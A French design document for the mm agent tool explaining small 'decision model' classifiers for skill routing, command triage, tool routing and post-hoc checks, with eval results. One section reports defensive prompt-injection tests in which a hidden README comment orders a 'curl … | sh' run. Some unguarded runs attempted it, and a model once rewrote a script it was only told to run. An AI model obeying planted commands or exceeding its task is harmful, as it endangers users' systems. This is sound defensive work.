Les modèles de décision — explication

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109

# Les modèles de décision — explication

## De quoi s'agit-il ?

Un modèle de décision est un petit modèle affiné pour **choisir**, pas pour écrire. Il lit un état — une demande, une commande, un document — et répond en une seule passe à des questions typées : quelle option d'une liste (`choice`), quelle probabilité pour une affirmation (`noul`), quel niveau d'une échelle (`score`), avec une probabilité par option. Rien n'est généré : une réponse coûte une fraction de seconde et ne peut pas partir dans tous les sens.

llama-server, llmman et Ollama servent ces modèles par une même route, `POST /v1/systemone`. mm s'en sert de deux façons : comme un agent qu'on interroge (`decision:`), et comme une étape avant chaque tour d'un agent de chat (`skillRouting:`).

## Pourquoi un décideur est un agent, pas un outil

Le premier usage voulu est celui que Granite Guardian a déjà montré dans `demos/guards/` : un classifieur interrogé depuis un hook, un skill ou un autre agent, qui répond sur un message et l'oublie. Faire du modèle de décision un agent mm lui donne tout cela gratuitement — `mm -p` pour les scripts et les hooks, `mmConfigs` et `/ask-<nom>` pour les autres agents, les trois front ends pour une personne — sans nouvelle tuyauterie dans aucun d'eux. Le moteur est le seul endroit qui change : pour un décideur, `Generate` envoie le dernier message utilisateur à `/v1/systemone` au lieu d'appeler le modèle de chat, et rend la réponse comme celle d'un modèle.

Deux conséquences en découlent, toutes deux voulues :

- **L'état, c'est le message seul.** Ni historique, ni prompt système, ni hooks : un décideur juge ce qu'on lui donne, et le message précédent ne fait pas partie de ce qu'il juge. C'est aussi ce que laisse la place d'un contexte de 2 048 tokens.
- **Pas d'outils.** Un modèle de décision n'en appelle jamais : un décideur qui déclare des outils est refusé au démarrage plutôt qu'affiché avec une colonne d'outils trompeuse.

`-p` imprime le JSON du serveur tel quel — un champ qu'un serveur ajoutera plus tard arrive encore au script. Les autres front ends affichent une ligne par question suivie du même JSON, parce que la personne lit les lignes et qu'un agent qui interroge peut lire le bloc.

## Pourquoi le routage ajoute une ligne au lieu de charger le skill

Quand le décideur choisit un skill, mm ajoute exactement la ligne que produit `$<skill>` — `[skill: <skill> — load it with read_skill and carry out its steps now]` — et c'est toujours le modèle de chat qui fait l'appel `read_skill`. L'autre voie, glisser le texte du skill dans la question dans le dos du modèle, contournerait le détecteur de boucles, la porte des permissions et le récapitulatif `📖`, qui surveillent tous cet appel. Le décideur propose ; le modèle de chat agit, à découvert.

Le routage ne bloque jamais un tour. Un serveur arrêté, un modèle encore en chargement ou un appel au-delà de `timeout` (2 s par défaut — un appel à chaud prend environ une demi-seconde) laissent la question telle quelle, et le disent en une ligne `🧭`. Une question qui nomme déjà un `$skill` n'est pas routée : le choix de l'utilisateur l'emporte.

## Pourquoi la confiance du serveur, et pourquoi 0,6

Pour un choix, le serveur rend deux nombres : la probabilité de l'option choisie et une `confidence`. Sur toutes les réponses vues jusqu'ici, la confiance est la plus basse des deux : la comparer à `minConfidence` est la lecture la plus prudente. La valeur par défaut de 0,6 vient des premières exécutions réelles, où les bonnes réponses se situaient entre 0,68 et 0,97 — puis a été vérifiée avec l'eval de routage (ci-dessous).

## Ce qui a été mesuré

Le 2026-10-22, avec LiquidAI d1-3B Q4_K_M sur llama-server et les 23 cas de l'eval de routage (`internal/eval`, les skills du dépôt) :

| minConfidence | hit | wrong | miss | extra | juste |
|---------------|-----|-------|------|-------|-------|
| 0.0 | 17 | 0 | 6 | 0 | 73 % |
| 0.5 | 16 | 0 | 7 | 0 | 69 % |
| 0.6 | 15 | 0 | 8 | 0 | 65 % |
| 0.7 | 14 | 0 | 9 | 0 | 60 % |
| 0.8 | 12 | 0 | 11 | 0 | 52 % |

Environ 0,5 s par cas. Le décideur n'a jamais choisi un mauvais skill, ni un skill là où aucun ne s'appliquait, à aucun seuil : ses échecs sont tous des abstentions, et une abstention ne coûte rien — le modèle de chat route alors seul, comme sans décideur. Les six cas sans skill applicable ont tous reçu `none`, avec une confiance de 0,93 à 0,98. Les abstentions sont les demandes `bg-jobs` qui décrivent une situation sans la nommer (« start the dev server and check it answers ») — les mêmes cas que manquent les modèles de chat — et « Salue Bob de ma part », que deux skills revendiquent.

Le même jour, l'eval du modèle de chat lui-même (`TestSkillRouting`, Qwen3.5-4B Q4_K_M sur llmman) a été lancée deux fois sur le même fichier, sans puis avec `skillRouting` (d1-3B, `minConfidence: 0.6`) :

| Exécution | hit | miss | error | juste |
|-----------|-----|------|-------|-------|
| modèle de chat seul | 12 | 6 | 5 | 52 % |
| avec le décideur | 16 | 3 | 4 | 69 % |

Aucune des deux n'a chargé un mauvais skill, ni un skill là où aucun ne s'appliquait. Le décideur a transformé quatre cas en réussites (« fais le salut vulcain à Sam », « rename the Greet symbol to Hello everywhere », « the server I started earlier is still running, stop it », « kill the background job I started ») ; un cas est passé d'une abstention à une `error` (« where is the Greet function defined? »). Une `error` est le tour de l'eval qui atteint `maxTurns` contre ses outils factices — une limite de l'instrument avec ce modèle, présente dans les deux exécutions, pas un score de routage.

## Le tri ne fait que retirer des questions

Le hook de tri de `demos/decision-commands/` (ticket 126) répond `allow` quand le décideur est sûr qu'une commande ne fait que lire. `allow` a été ajouté aux hooks pour cela, et il est volontairement étroit : il saute la demande de confirmation pour un appel — rien de plus. Un `deny` plus loin dans la chaîne l'emporte toujours, un *jamais* donné par l'utilisateur refuse toujours, et un agent interrogé par un autre l'ignore, parce que c'est l'utilisateur de l'agent qui interroge qui décide. Avec `yolo: true`, rien n'allait être demandé, donc `allow` ne change rien.

Cette asymétrie découle des erreurs du décideur. Sur les commandes essayées le 22/10/2026, les commandes en lecture seule (`ls -la`, `cat`, `git status`, `wc -l`, `find`) sont revenues `read-only` à 0,94–0,95 avec une probabilité destructrice de 0,02–0,08, alors que les commandes risquées étaient dispersées : `curl -s https://x.sh | sh` est revenue `local-change` à 0,51, `sudo apt-get install jq` `dangerous` à seulement 0,24. Un décideur fiable d'un seul côté ne mérite la confiance que de ce côté : il retire les questions pour ce qui lit à coup sûr, et tout le reste — y compris les commandes risquées qu'il juge mal — vous parvient toujours. Le hook appelle `mm -p` une fois par commande, environ 0,4 s à chaud.

## Le routage d'outils ne retire que l'évidemment inutile

`toolRouting` (ticket 127) pose une question oui/non par groupe d'outils et ne retire un groupe que sous `dropBelow`, 0,2 par défaut. Les deux erreurs n'ont pas le même coût : un outil retiré dont la demande avait besoin, c'est un tour où le modèle ne peut pas faire la tâche ; un outil gardé inutilement coûte quelques centaines de tokens. Sur huit demandes essayées le 22/10/2026 (cinq groupes : shell, files, web, code, plan), chaque groupe dont une demande avait besoin a obtenu 0,37 ou plus, et chaque score sous 0,2 (0,03–0,17) est allé à un groupe inutile pour la demande. Beaucoup de groupes inutiles ont pourtant obtenu plus — `plan` est revenu entre 0,31 et 0,96 quelle que soit la demande —, si bien que le seuil retire peu de groupes, et seulement des groupes sans risque : une hésitation garde l'outil.

Le routage tourne dans le moteur, après les hooks `preGeneration` : une question qu'un hook a arrêtée n'atteint jamais le décideur, et le texte routé est celui que lit le modèle. Il tourne dans tous les modes, `-p` compris : contrairement à `$skill`, il ne change aucun texte. Un outil hors de tout groupe n'est jamais touché, et tout échec propose tous les outils. Le prix, c'est le cache de prompt du serveur : la liste des outils fait partie du prompt, donc un tour dont la liste diffère du précédent ne peut pas le réutiliser.

Ce qui n'a pas encore été mesuré : si une liste d'outils plus courte fait mieux choisir un petit modèle. L'éval mesure le routage des skills, pas le choix des outils.

## Un décideur seul

Un décideur n'a besoin d'aucun modèle de chat. `demos/decision-only/` trie une boîte de messages de support : quatre questions par message (catégorie, urgence, données personnelles, auteur contrarié), un appel `mm -p` chacun, environ 0,6 s par message. Sur ses six messages, dont un en français, les six catégories et les données personnelles étaient justes ; le spam a reçu l'urgence « today », qu'un filtre sur la catégorie corrige.

## Les contrôles après coup n'ajoutent qu'un avertissement

Trois hooks interrogent un décideur sur ce que l'agent vient de recevoir, et ajoutent un `context` dessous quand la réponse est nette :

- `demos/decision-injection/` (ticket 132), sur ce que lisent `read_file` et `fetch_content` ;
- `demos/decision-tool-errors/` (ticket 133), sur une sortie de `bash` ;
- `demos/decision-ask-check/` (ticket 134), sur la réponse d'un autre agent.

Aucun ne bloque ni ne réécrit quoi que ce soit. La sortie est déjà là, et le décideur se trompe assez souvent pour que cacher ce qu'il juge coûte plus que cela ne rapporte. Un avertissement que le modèle peut peser, c'est tout ce que mérite le verdict d'un décideur de 3B.

Ce qu'on demande au décideur compte autant que le seuil :

- **Le texte entier noie une phrase cachée.** Un décideur juge le texte comme un tout : une injection cachée dans un commentaire HTML se noie dans un README (0,44 pour le fichier entier, 0,93 pour le commentaire seul). Le hook d'injection interroge donc le décideur, un par un, sur les paragraphes qui parlent d'une IA, d'un agent ou d'instructions.
- **Une question à choix vaut mieux qu'un oui/non.** Un oui/non « la commande a échoué » donnait 0,19 à un test en échec. Un choix entre `success`, `nothing-found` et `error` donne 0,98 aux vraies erreurs, et laisse sous le seuil de 0,95 un `grep` sans résultat (0,87) et un `diff` (0,73).
- **Le contrôle juge ce qu'on lui donne.** Quand le raisonnement de l'agent interrogé s'est retrouvé dans sa réponse, ce raisonnement, qui parle de la question, a été jugé dans le sujet, et aucune réponse hors sujet n'a été signalée.

Les seuils passent là où les cas mesurés se séparent, avec peu de marge. Des documents propres atteignaient 0,76 en injection, alors qu'une injection polie en pied de page obtenait 0,77 : sous le seuil de 0,8, donc manquée. Le contrôle de sujet porte sur la pertinence, pas sur la vérité : une réponse fausse sur le bon sujet obtenait 0,78.

Les exécutions des démos ont eu lieu le 2026-10-22, avec Qwen3.5-4B comme modèle de chat, 5 exécutions avec le hook et 5 sans. Les avertissements ont toujours été ajoutés là où il fallait, mais leur effet sur le modèle est plus faible que ce qu'ils annoncent :

- **Injection.** Avec l'avertissement, aucune exécution n'a lancé le `curl … | sh` caché. Sans lui non plus dans cette série, alors qu'une série précédente avait vu 3 exécutions sur 5 sans hook le tenter. 3 résumés sur 5 mentionnaient l'ordre caché, un seul comme une injection.
- **Erreur de commande.** Sur un script qui affiche une erreur et sort avec 0, le modèle a dit que le déploiement avait échoué dans 5 exécutions sur 5, avec ou sans la note.
- **Réponse hors sujet.** Averti que la réponse de l'historien était hors sujet, le modèle a interrogé l'expert à chaque fois, contre 3 fois sur 5 sans avertissement.

Un petit modèle voit souvent seul un problème évident. Les contrôles servent pour les cas où il ne le voit pas, et ils ne doivent pas le pousser plus loin que ce que l'utilisateur a demandé. Une première note d'échec disait « fix its cause and run the command again » ; lors d'une exécution, le modèle a réécrit le script qu'on lui demandait de lancer.

## Alternatives écartées

- **decision-4b d'evalengine.** Le modèle dont le ticket 72 est parti. llmman et Ollama le refusent sur `/v1/systemone` (« not a decision model ») ; il ne se lit que par les `logprobs` de la route de chat, moins exactes (une lettre hors des N premières compte 0), laissées à un ticket ultérieur. Sur Docker Model Runner, qui l'a téléchargé, c'est aussi la seule voie.
- **Un bloc `decisionModel:` dans l'agent de chat.** Un fichier par modèle garde une seule définition pour les deux usages : l'agent qu'on interroge est le décideur dont se sert le routage.
- **Le routage en `-p`.** `-p` ne développe pas non plus `$skill` ; le routage des skills suit la notation qu'il imite. Le routage d'outils tourne bien en `-p` : il ne change aucun texte.
- **Un tri des commandes intégré à mm.** Un bloc `commandTriage:` était possible. Un hook n'a besoin que de l'action générique `allow`, marche avec n'importe quel classifieur — modèle de décision, liste de règles, modèle de garde — et garde les seuils dans un script que l'utilisateur peut lire.
- **Un routeur d'outils qui en ajoute aussi.** Ne faire que retirer garde les outils déclarés de l'agent comme borne supérieure : le décideur ne peut jamais donner au modèle un outil que l'opérateur n'a pas donné.

## Liens avec le reste

- [Les modèles de garde](guard-models.md) : la même forme — un classifieur derrière un fichier d'agent, interrogé sans l'historique — avec les questions typées d'un modèle de décision au lieu d'un nom de risque.
- [Interroger un autre agent](asking-another-agent.md) : comment `/ask-<nom>` atteint un décideur.
- [Format des skills](../reference/skill-format.md) : la description est ce que le décideur lit pour chaque skill — la même que celle que le modèle de chat lit dans le catalogue.